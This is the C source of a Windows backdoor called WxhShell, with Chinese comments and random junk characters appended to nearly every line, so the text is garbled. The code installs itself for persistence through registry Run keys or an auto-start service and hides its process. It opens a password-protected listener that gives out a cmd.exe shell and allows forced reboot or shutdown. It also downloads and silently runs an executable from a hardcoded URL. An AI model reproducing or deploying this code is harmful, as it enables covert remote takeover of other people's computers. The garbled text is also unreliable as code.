    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5X nA.?F^  
    if(Boot(SHUTDOWN)) {G/4#r 2>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?H0 #{!s  
    else { &I:5<zK{  
    closesocket(wsh); mE%H5&VSI  
    ExitThread(0); m /JpYv~  
    }  EP'2'51  
    break; 5)2lZ(5.A#  
    } :Y0*P  
  // 获取shell U=QV^I Qm  
  case 's': { =5oE|F%  
    CmdShell(wsh); }9aYU;9D  
    closesocket(wsh); y!."FoQ  
    ExitThread(0); %rzC+=*;  
    break; 7$a,pNDw  
  } eFp4MD8?  
  // 退出 %w=*4!NWb  
  case 'x': { 41^+T<+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7<mY{!2iF?  
    CloseIt(wsh); h:<p EL  
    break; !BP/#  
    } "D2 `=D!+  
  // 离开 Aj;Z &  
  case 'q': { !TVlsm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G  2+A`\]  
    closesocket(wsh); zdzTJiY2[Z  
    WSACleanup(); 4H]Go~<  
    exit(1); Im+<oZ  
    break; 8{8J(~  
        } ~M3`mO+^U  
  } H.hF`n  
  } A|I7R -  
"b8<C>wY  
  // 提示信息 vtKQvQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :&HrOdz  
} "Up3W%]SB  
  } vXAO#'4tm%  
6UG7lH!M  
  return; 7MZBU~,r  
} '0[D-jEr  
E;*#fD~@  
// shell模块句柄 SHOg,#mV  
int CmdShell(SOCKET sock) DFQp<Eq]7  
{ y9{KBM%h  
STARTUPINFO si; UIi;&[  
ZeroMemory(&si,sizeof(si)); Q35$GFj"jD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Waj6.PCFm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X&8&NkH  
PROCESS_INFORMATION ProcessInfo; oa?bOm  
char cmdline[]="cmd"; <xKer<D %  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ) kfA5xi[  
  return 0; WId"2W3M  
} [ p$f)'  
$d3al%Uo  
// 自身启动模式 GF*8(2h2  
int StartFromService(void) X9K@mX  
{ T ]hVO'z  
typedef struct 0D+[W5TB  
{ F"1)y>2k  
  DWORD ExitStatus; P%A;EF~ v  
  DWORD PebBaseAddress; 7#SXqyP[  
  DWORD AffinityMask; @@"}i7  
  DWORD BasePriority; >\ y|}|?  
  ULONG UniqueProcessId; +3dWnBg?  
  ULONG InheritedFromUniqueProcessId; eRKuy l  
}   PROCESS_BASIC_INFORMATION; LuM:dJ  
HQw98/-_W  
PROCNTQSIP NtQueryInformationProcess; _ [su?C  
3} @3pVS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c>#T\AEkF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jNhiY  
h.d-a/  
  HANDLE             hProcess; 47 xyS%X  
  PROCESS_BASIC_INFORMATION pbi; umhg O.!  
@E %:ALJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T"xq^h1\  
  if(NULL == hInst ) return 0; *pK bMG#  
`U?" {;j {  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +!h~T5Ck  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {+%|n OWV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l2vIKc  
dmI~$*  
  if (!NtQueryInformationProcess) return 0; @iwVU]j  
YRa{6*M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g X75zso  
  if(!hProcess) return 0; @M-i$ q[4  
F7P?*!dx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KX D&FDkF  
M3P\1  
  CloseHandle(hProcess); yB0xa%  
3tzb@T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %Hx8%G!  
if(hProcess==NULL) return 0; _uwM%M;  
/~~aK2{^X~  
HMODULE hMod; GOrDDp  
char procName[255]; v EppkS U1  
unsigned long cbNeeded; -< D7  
yw2Mr+9I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $c"byQ[3S  
9'nM$ a  
  CloseHandle(hProcess); N3dS%F,_  
TgMa! Vz  
if(strstr(procName,"services")) return 1; // 以服务启动 hEUS&`K  
Z>hS&B  
  return 0; // 注册表启动 ZeM~13[  
} [d 30mVM  
Sggha~E2s  
// 主模块 KZrg4TEVi  
int StartWxhshell(LPSTR lpCmdLine) & \tD$g~"  
{ 7[z^0?Pygf  
  SOCKET wsl; 5:y\ejU  
BOOL val=TRUE; S:2M9nC  
  int port=0; s8BfOl-  
  struct sockaddr_in door; &CBW>*B  
>f+qImH  
  if(wscfg.ws_autoins) Install(); DEJ0<pnQr  
p[oR4 HWr  
port=atoi(lpCmdLine); <L'!EcHm%]  
"/H B#  
if(port<=0) port=wscfg.ws_port; )gF>nNE  
)(bAi  
  WSADATA data; o]T-7Gs4p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^97u0K3$  
*rKj%Me  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <"/b 5kc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QguRU|y  
  door.sin_family = AF_INET; 7`eg;s^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (<GBhNj=c  
  door.sin_port = htons(port); S $j"'K  
0\tV@ 6p2=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { % !P^se  
closesocket(wsl); D+4oV6}~  
return 1; Yr!@pHy  
} B ]*v{?<W  
T{ WJf-pI  
  if(listen(wsl,2) == INVALID_SOCKET) { L#huTKX}  
closesocket(wsl); JG^fu*K  
return 1; wFbw3>'a9  
} LV}Z[\?   
  Wxhshell(wsl); ohEIr2  
  WSACleanup(); F:$*0!  
Dh+<|6mx  
return 0; !AR@GuQPE  
vciO={M  
} aI.5w9  
Z7]["  
// 以NT服务方式启动 M=rH*w{^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oS>VN<  
{ !LI 8Xk  
DWORD   status = 0; DP@F-Q4  
  DWORD   specificError = 0xfffffff; jJ.isr|`  
ATRB9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K&"ZZFd_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; itYTV?bd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]v2%hX  
  serviceStatus.dwWin32ExitCode     = 0; cG)U01/"  
  serviceStatus.dwServiceSpecificExitCode = 0; C>NLZM T  
  serviceStatus.dwCheckPoint       = 0; F)8M9%g5m  
  serviceStatus.dwWaitHint       = 0; .gQYN2#zb  
aU\R!Y$/"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f]sc[_n]  
  if (hServiceStatusHandle==0) return; D( \c?X"  
kR0/jEz C  
status = GetLastError(); }[;{@Zn  
  if (status!=NO_ERROR) R1cOUV,y[/  
{ )L+>^cJI<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S7B\m v  
    serviceStatus.dwCheckPoint       = 0; ntr&? H  
    serviceStatus.dwWaitHint       = 0; to9X2^  
    serviceStatus.dwWin32ExitCode     = status; aM5Hp>'nI  
    serviceStatus.dwServiceSpecificExitCode = specificError; tD^$}u6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,DL%oQR  
    return; Cl>|*h+m  
  } ZrNBkfe :  
qV{iUtYt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g:oB j6$ q  
  serviceStatus.dwCheckPoint       = 0; `g}po%k  
  serviceStatus.dwWaitHint       = 0; @|2sF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '"m-kor  
} f]4j7K!e]  
>,6%Y3  
// 处理NT服务事件,比如:启动、停止 Zdfruzl&`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]Uj7f4)k  
{ aG&t gD{  
switch(fdwControl) >PS`;S!(  
{ 0n/+X[%Ti  
case SERVICE_CONTROL_STOP: ;$Pjl8\  
  serviceStatus.dwWin32ExitCode = 0; @1vpkB~ w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )+ (GE  
  serviceStatus.dwCheckPoint   = 0; gmUX 2x(  
  serviceStatus.dwWaitHint     = 0; vqhu%ZyP  
  { ooA%/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B<{Yj}..  
  } e;8nujdG"  
  return; (jI_Dk;  
case SERVICE_CONTROL_PAUSE: {Gvv^.H7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IkP; i_|  
  break; `E2RW{$A  
case SERVICE_CONTROL_CONTINUE: Oa-(Xp,n#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RW`+F|UbE  
  break; T9NTL\;  
case SERVICE_CONTROL_INTERROGATE: b QgtZHO  
  break; 0'Uo3jAB  
}; [;Y*f,UG_-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ruU &.mZ  
} $tqr+1P  
ZH)thd9^b  
// 标准应用程序主函数 gP2<L5&Z,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o?| ]ciY  
{ G  L-Pir  
s 9n_s=w  
// 获取操作系统版本 =3;~7bYO  
OsIsNt=GetOsVer(); $DeVXW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h f{RI4Jc  
X?aj0# Q  
  // 从命令行安装 &HBC9Bx/(  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9GgXX9K  
QB5,Vfoux  
  // 下载执行文件 @bIZ0tr4  
if(wscfg.ws_downexe) { bLSUF`-z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g[L}puN  
  WinExec(wscfg.ws_filenam,SW_HIDE); P$v9  
} y=&^=Z h[  
ne|N!!Dmk  
if(!OsIsNt) { \Lg{GN.  
// 如果时win9x,隐藏进程并且设置为注册表启动 c[+uwO~  
HideProc(); |>/m{L[  
StartWxhshell(lpCmdLine); M@=VIrX,m  
} _/z3QG{Ea^  
else Hrg -5_  
  if(StartFromService()) AOM@~qyc   
  // 以服务方式启动 3S"kw  
  StartServiceCtrlDispatcher(DispatchTable); , lFhLj7  
else 4 3G2{  
  // 普通方式启动 =X3Rk)2r  
  StartWxhshell(lpCmdLine); UM}MK  
2O(= 2X  
return 0; z9 $1jC  
} b *Ca*!  
|xFSGrC  
]D<3y IGS  
J'C%  
=========================================== #k t+ )>  
=JE5/  
/s Bs eI  
\:jJ{bl^A  
`zOn(6B;U  
:Izdj*HL;A  
" GhR%fxe  
AP9>_0=  
#include <stdio.h> 1T 8|>2m 3  
#include <string.h> "?>hQM1R  
#include <windows.h> 'MQJt2QU9{  
#include <winsock2.h> *6wt+twH  
#include <winsvc.h> 5Ve T8/7Q  
#include <urlmon.h> \# _w=gs<i  
AvcN,  
#pragma comment (lib, "Ws2_32.lib") IoCi(N;  
#pragma comment (lib, "urlmon.lib") | $D`*  
&~"e["gF=  
#define MAX_USER   100 // 最大客户端连接数 c JOT{  
#define BUF_SOCK   200 // sock buffer ,HwOMoP7  
#define KEY_BUFF   255 // 输入 buffer '8c-V aa  
3M"eAK([  
#define REBOOT     0   // 重启 'wjL7P I  
#define SHUTDOWN   1   // 关机 r:5u(2  
q|QkJr <  
#define DEF_PORT   5000 // 监听端口 J3y4 D}  
<_#a%+5d  
#define REG_LEN     16   // 注册表键长度 }CQ)W1mO"  
#define SVC_LEN     80   // NT服务名长度 .$zo_~ mR  
bE1@RL  
// 从dll定义API 5OC{_-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cznp(z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }3=^Ik;x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1q/Q@O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )#v0.pE  
A Eo  
// wxhshell配置信息 2}6StmE }  
struct WSCFG { ^q\9HBHT  
  int ws_port;         // 监听端口 K?6#jT6#  
  char ws_passstr[REG_LEN]; // 口令 8B;HMD  
  int ws_autoins;       // 安装标记, 1=yes 0=no )|B3TjH C  
  char ws_regname[REG_LEN]; // 注册表键名 kqZ+e/o>O9  
  char ws_svcname[REG_LEN]; // 服务名 ~IQw?a.E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w">-r}HnJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y\j5{;V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u&r+ylbs I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u5A$VRMN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (tQ0-=z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]dL#k>$0q  
6Gh3r  
}; >?(}F':  
:,Mg1Zf  
// default Wxhshell configuration %<h+_(\h  
struct WSCFG wscfg={DEF_PORT, )<vuv9=k\%  
    "xuhuanlingzhe", 3>%:%bP  
    1, ]::g-&%Um  
    "Wxhshell", tjbI*Pw7(  
    "Wxhshell", Pvz\zRq  
            "WxhShell Service", GI)eq:K_U8  
    "Wrsky Windows CmdShell Service", 2!";?E  
    "Please Input Your Password: ", "U*6?]f  
  1, lH"4"r  
  "http://www.wrsky.com/wxhshell.exe", V]P%@<C  
  "Wxhshell.exe" VP_S[+Zv~  
    }; qx`)M3Mu|<  
c63yJqiW  
// 消息定义模块 !1xX)XD4y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M5c~-}Ay  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UJk/Lxv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -P-&]F5  
char *msg_ws_ext="\n\rExit."; -P We  
char *msg_ws_end="\n\rQuit."; ,7ZV;f 81  
char *msg_ws_boot="\n\rReboot..."; 6HRr 4NDcj  
char *msg_ws_poff="\n\rShutdown..."; ,L$, d  
char *msg_ws_down="\n\rSave to "; Y(6p&I  
9_l WB6  
char *msg_ws_err="\n\rErr!"; QN^AihsPi  
char *msg_ws_ok="\n\rOK!"; x?RYt4S  
p>= b|Qy|  
char ExeFile[MAX_PATH]; X*e<g=  
int nUser = 0; ;0-Y),  
HANDLE handles[MAX_USER]; e<r}{=1w  
int OsIsNt; T[eb<  
hYSf;cG}A  
SERVICE_STATUS       serviceStatus; `l + pk%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3pjK`"Nmz\  
%SJFuw"  
// 函数声明 M7\yEi"*  
int Install(void); MT{ovDA].  
int Uninstall(void); yR[htD`  
int DownloadFile(char *sURL, SOCKET wsh); #SqU>R  
int Boot(int flag); I3d!!L2ma  
void HideProc(void); _ cm^Fi5  
int GetOsVer(void); v-!^a_3Ui  
int Wxhshell(SOCKET wsl); Og<nnq  
void TalkWithClient(void *cs); A_2oQ*  
int CmdShell(SOCKET sock); L<Q>:U.@\  
int StartFromService(void); h9I vuv'  
int StartWxhshell(LPSTR lpCmdLine); v 6KRE3:V  
L<0eIw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s|IC;C|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6 B*,Mu4A  
v&Oc,W  
// 数据结构和表定义 2dnyIgi  
SERVICE_TABLE_ENTRY DispatchTable[] = 'yNS(Bg=  
{ rLp (}^  
{wscfg.ws_svcname, NTServiceMain}, F-PQ`@ZNW  
{NULL, NULL} -;j ' =?  
}; m.w.h^f$&  
y8$I=  
// 自我安装 Sq[LwJ  
int Install(void) cA{7*=G?  
{ J1"16Uu  
  char svExeFile[MAX_PATH]; wAF<_NG#  
  HKEY key; WnL7 A:sZ  
  strcpy(svExeFile,ExeFile); uO5y{O2W  
l'twy$V4|~  
// 如果是win9x系统,修改注册表设为自启动  C^*3nd3  
if(!OsIsNt) { $HP<C>^Z8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VRD:PVz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]La~Bh6;m  
  RegCloseKey(key); '|@?R|i0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $$e"[g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lky5%H  
  RegCloseKey(key); ]4eIhj?  
  return 0; Eh&-b6:  
    } ~zhP[qA})  
  } ?<STl-]&  
} SYwB #|  
else { 3NSX(gC%  
Z~v-@  
// 如果是NT以上系统,安装为系统服务 8C8,Q\WV(~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q}cm"lO$  
if (schSCManager!=0) )<[)7`  
{ [^0 S#,L  
  SC_HANDLE schService = CreateService pYz\GSd  
  ( N;R I A  
  schSCManager, T7?cnK"  
  wscfg.ws_svcname, ^0HgE;4  
  wscfg.ws_svcdisp, #D-Ttla  
  SERVICE_ALL_ACCESS, D+"+m%^>C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v4vIcHDs  
  SERVICE_AUTO_START, X ;Cl8  
  SERVICE_ERROR_NORMAL, ;S+]Z!5LT  
  svExeFile, x&*2R#Ai  
  NULL, og`K! d~  
  NULL, hj,yl&  
  NULL, %gEgp Jd  
  NULL, ";;Nc>-Y  
  NULL v@Qfx V2  
  ); @G^m+-  
  if (schService!=0) Hv-f :P O  
  { Dbw{E:pq  
  CloseServiceHandle(schService); D\^\_r):  
  CloseServiceHandle(schSCManager); hw2Sb,bY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zmz $ hr  
  strcat(svExeFile,wscfg.ws_svcname); 7UsU03  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #j4RX:T*[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &vN^ *:Q  
  RegCloseKey(key); #:s*Hy=  
  return 0; N"A`tc5&  
    } X=jHH=</  
  } 7x#."6>Dy  
  CloseServiceHandle(schSCManager); i,!tu  
} 11?d,6Jl  
} #oJ%i+V  
=[LUOOR*]  
return 1; 8 `}I]  
} _~bG[lX!  
mr>dZ)  
// 自我卸载 ffR<G&"n~b  
int Uninstall(void) >E9 k5  
{ YK>?;U+|  
  HKEY key; }///k]_Sh  
){4!  
if(!OsIsNt) { zKfY0A R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %+@<T<>J<k  
  RegDeleteValue(key,wscfg.ws_regname); EIF"{,m  
  RegCloseKey(key); 6cX Z3;a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s9,Z}]Th  
  RegDeleteValue(key,wscfg.ws_regname); ',]^Qu`a  
  RegCloseKey(key); zg$NrI&  
  return 0; /" @cv{  
  } =F09@C,  
} 2]cU:j6G  
} J+m1d\lBu  
else { b}!T!IP}  
YI?tmqzt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \.YJs"<3  
if (schSCManager!=0) oAgU rl;R  
{ 5DL(#9F8b9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .*&F  
  if (schService!=0) &M7AM"9  
  { v)JS4KS  
  if(DeleteService(schService)!=0) { +LF`ZXe8l  
  CloseServiceHandle(schService); @T%8EiV  
  CloseServiceHandle(schSCManager); SW7AG;c=  
  return 0; UB w*}p  
  } ny1Dg$u i2  
  CloseServiceHandle(schService); $l_\9J913  
  } ZMGC@4^F  
  CloseServiceHandle(schSCManager); gWfMUl  
} pkc*toW  
} lBLL45%BIN  
y.gjs <y  
return 1; 10CRgrZ  
} 'u3,+guz  
F#a'N c9  
// 从指定url下载文件 w%$J<Z^-?  
int DownloadFile(char *sURL, SOCKET wsh) R%6KxN)+@  
{ GHpP *x  
  HRESULT hr; 6|QIzs<Z-X  
char seps[]= "/"; AbIYdFXB  
char *token; Cy6%f?j  
char *file; %7 $X *  
char myURL[MAX_PATH]; j%i6H1#.Z  
char myFILE[MAX_PATH]; 9JJk\,  
?hKpJA'%  
strcpy(myURL,sURL); ^*b11 /7  
  token=strtok(myURL,seps); 0~BZh%s< (  
  while(token!=NULL) |%uy{  
  { BK1I_/_!  
    file=token; oj[<{/,C9  
  token=strtok(NULL,seps); f1|&umJ$  
  } =g$%jM>35  
cToT_Mk  
GetCurrentDirectory(MAX_PATH,myFILE); -nY_.fp>  
strcat(myFILE, "\\"); Bw>)gSB5$k  
strcat(myFILE, file); kV4,45r  
  send(wsh,myFILE,strlen(myFILE),0); !-4VGt&c,  
send(wsh,"...",3,0); 6L3i   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NXOcsdcZu  
  if(hr==S_OK) ;)z+dd#3  
return 0; *2 ~"%"C  
else *fI\|%K  
return 1; n( zzH  
t@jke  
} q^6l`JJ  
8|tnhA]~  
// 系统电源模块 uP.dCs9-  
int Boot(int flag) T=':$(t  
{ gw<u dhk  
  HANDLE hToken; P>'29$1'  
  TOKEN_PRIVILEGES tkp; nZ[`Yrq)0  
4xgfm.9I^  
  if(OsIsNt) { vw :&c.zd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !ezy  v`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VyWzb  
    tkp.PrivilegeCount = 1; n$<n Yr`X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6foiN W+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {Gw{W&<  
if(flag==REBOOT) { t(UdV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *9 (E0"  
  return 0; 3-BC4y/  
} =d/$B!t{  
else { P?Kg7m W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T }Wse{  
  return 0; 9JO1O:W  
} TPmb]j  
  } 7#C3E$gn?  
  else { ,%U\@*6=  
if(flag==REBOOT) { Y^eF(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5YLc4z*  
  return 0; qfF2S  
} |k]fY*z(  
else { [<X ~m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s?PB ]Tr  
  return 0; 1V-sibE  
} eE@7AM  
} oE)xL%*  
%$=2tfR  
return 1; fni7HBV?  
} szp.\CMz  
J:G{  
// win9x进程隐藏模块 W&7(  
void HideProc(void) goc; .~?  
{ @>`qfy?  
fYlqaO4[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dg&GMo  
  if ( hKernel != NULL ) S2EV[K8#  
  { o0TB>DX$`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b{;LbHq+G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $Km~x  
    FreeLibrary(hKernel); x M{SFF  
  } w@H@[x  
K;]Dh?  
return; 9&{HD  
} SDjJ?K  
omI"xx  
// 获取操作系统版本 R| XD#bG  
int GetOsVer(void) `t+;[G>ZE  
{ FBa- gm<9  
  OSVERSIONINFO winfo; L$^)QxH7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _O&P!hI  
  GetVersionEx(&winfo); hHgH'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rVwW%&  
  return 1; @/xdWN!,  
  else ,mM7g  
  return 0; wpt5'|I  
} )lP(is FP  
Z<'iT%6+r  
// 客户端句柄模块 S$/SFB$)~W  
int Wxhshell(SOCKET wsl) l@`n4U.Gwl  
{ {dlG3P='`f  
  SOCKET wsh; q><wzCnRu~  
  struct sockaddr_in client; 0O(Vyy  
  DWORD myID; (O/W`qo  
oSl}A,aQ(  
  while(nUser<MAX_USER) [d=BN ,?  
{ cbW=kQc_  
  int nSize=sizeof(client); qNUd "%S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VH] <o0  
  if(wsh==INVALID_SOCKET) return 1; O6ltGtF  
+pe\9F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ? 3oUkGfn  
if(handles[nUser]==0) J)sOne  
  closesocket(wsh); 79B+8= K  
else Nx!7sE*b$1  
  nUser++; a!.Y@o5Ku  
  } k=X)ax t1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'l3 DP  
# S0N`V  
  return 0; pL: r\Y:R  
}  SPnW8  
0 > QqsQ  
// 关闭 socket >RrG&Wv59  
void CloseIt(SOCKET wsh) gp+@+i>b+[  
{ ;X+cS,h  
closesocket(wsh); O7p=|F"  
nUser--; ,M :j5  
ExitThread(0); p{&o{+c  
} K14v6d  
+9M";'\c  
// 客户端请求句柄 %K0Wm#)  
void TalkWithClient(void *cs) jVna;o)  
{ 7?8+h  
=[0| qGzg  
  SOCKET wsh=(SOCKET)cs; q-S#[I+g  
  char pwd[SVC_LEN]; tO3#kV\,  
  char cmd[KEY_BUFF]; /xd|mo)D  
char chr[1]; cDz^jC   
int i,j; @ ZN@EOM$+  
+ijxv  
  while (nUser < MAX_USER) { \ *A!@T  
WUb] 8$n  
if(wscfg.ws_passstr) { NKiWt Z"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E`|vu*l7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3S @)Ans  
  //ZeroMemory(pwd,KEY_BUFF); M]xfH*  
      i=0; z~/e\  
  while(i<SVC_LEN) { .>2]m[53  
>|mZu)HIY;  
  // 设置超时 8Ep!  
  fd_set FdRead; 3teP6|K'g  
  struct timeval TimeOut; w,t !<i  
  FD_ZERO(&FdRead); g O/\Yi  
  FD_SET(wsh,&FdRead); QE721y   
  TimeOut.tv_sec=8; uW4.Q_O!H  
  TimeOut.tv_usec=0; 0XI6gPo%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K*M1$@5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UD Pn4q  
h r6?9RJY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (UZ].+)s  
  pwd=chr[0]; "YVr/u  
  if(chr[0]==0xd || chr[0]==0xa) { Y4[oa?G  
  pwd=0; k h6n(B\  
  break; &,* ILz  
  } @0%[4  
  i++; *DQa6,b  
    } ep{/m-h(!_  
xRZ/[1f!  
  // 如果是非法用户,关闭 socket  hRqr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DeI3(o7  
} u[nLrEnD  
^OK;swDW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9zm2}6r4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QkYKm<b  
NTVaz.  
while(1) { p[}~Z|(  
Ao\Im(?  
  ZeroMemory(cmd,KEY_BUFF); 8 EU/}Ym  
B?4Iu)bCxI  
      // 自动支持客户端 telnet标准   5>hXqNjP2  
  j=0; r(rT.D&  
  while(j<KEY_BUFF) {  u5Mg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uvi&! )x  
  cmd[j]=chr[0]; H%0WD_  
  if(chr[0]==0xa || chr[0]==0xd) { )!;20Po  
  cmd[j]=0; N|/gwcKe  
  break; E@-5L9eJ\  
  } gw$?&[wY  
  j++; arvKJmD  
    } R: [#OH.c  
H#G3CD2&  
  // 下载文件 7c8`D;A-K  
  if(strstr(cmd,"http://")) { y[GqV_~?Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t+M'05-U2  
  if(DownloadFile(cmd,wsh)) ; O ~%y'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QY*F(S,\  
  else w%(D4ldp   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |o@U L  
  } -?-yeJP2  
  else { \y+^r|IL  
ZuKOscVS#T  
